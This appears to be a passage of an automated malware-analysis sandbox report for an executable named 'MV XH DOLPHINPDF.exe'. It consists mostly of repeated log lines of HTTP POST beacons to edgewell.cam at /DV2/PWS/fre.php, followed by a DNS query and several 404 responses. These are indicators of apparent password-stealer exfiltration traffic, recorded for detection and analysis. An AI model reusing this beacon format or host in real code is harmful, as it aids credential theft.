Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 153Connection: close

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_000F25E2 InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

0_2_000F25E2

Source: global traffic

DNS traffic detected: DNS query: edgewell.cam

Source: unknown

HTTP traffic detected: POST /DV2/PWS/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: edgewell.camAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 62B9FE62Content-Length: 180Connection: close

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:56:53 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s3cNfL2WgWg4pzCSSzwXD1D3NflpyPgpNS3uzoO2Z5y65lkvjUyXGhy3S5vgO4I6sudMzLt8UxOtV1KGX1IOAqPO1AXkGrSpXQj0%2F99wXY2Z0qnGGi56XevVUyeu6JM%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20c322b4fc327-EWRalt-svc: h3=":443"; ma=86400Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:56:53 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y2PyiOoWL8niKYe%2BtW1%2BJkEaxFmG2vJPO0%2B43g48ka6wsKa%2BHQG2rXtv%2F05sDHkvpFyFn%2B4fIy27EjItLPZILUBEsU%2FEefVrDLRiQ9bMR5FN1rOOdNk0h9BGNqfyqIU%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20c37a98a7d1c-EWRalt-svc: h3=":443"; ma=86400Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:56:54 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N6PrJbUjtqyzdjw%2BfoJ7qnOEqb1oYioq5%2FDq4CLoNgT1T4vP7Z4oFGoVwMRB5BLNY4wLGwbZNnrhPno3HX4UuMyQ31o0QpQMKoiXc6UY2pf0XAIxWHToFr6wch6TlmM%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20c3c6d2d0f65-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:56:55 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l6vHeFcuIuw5ieYxQcx8PdbSpNP44ZqsiN7Fqy%2BPvCdO4iA9B01J%2BcBbZvxer93fB9ojzV9Wo0WTdCoI0TIuB2Erx0NFA%2BNBPaw%2FkB%2F6NLXLB1aNpBBDYRS6mBfJ1qk%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20c41cdd10cae-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:56:56 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e9GuhsGJ5qWuLko5%2FyLZZNnHI00MrxJvPVbmW8TaJj67K%2BO6qEK8MWX7trMdzEprwoB4K9QYMVKOSLJMpFfv7WBvqRstvh7PQju4LZe1dRF2apdTppiV0hXMDmo2FUI%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20c47c80643da-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:56:57 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g5uZ9Ird9egql3OxLXIUeru1P1C9tcQFPTJVtMiPLUdBOGzjU4bXwWFZ5OyuhJe0qCtKrtqCVHKwsiKFlTecLxpPF76kBygyh7SMQY9AS%2F6Gh7VLmuUBzrcxGXQ4UYA%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20c4dbd438c93-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:56:58 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rPYX4QE5w6vh7Rg3nv%2FWXC7ca238PuZGX9vPxJUQXam0BC5sdpd39kn31CEaC7W1mOxDOquiMpdQ4GtppjNH2L%2FeHKxN54w1D6Zt5RhJpsD6hqzFeIWZ5Xz0iDypWEM%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20c53690b80d9-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
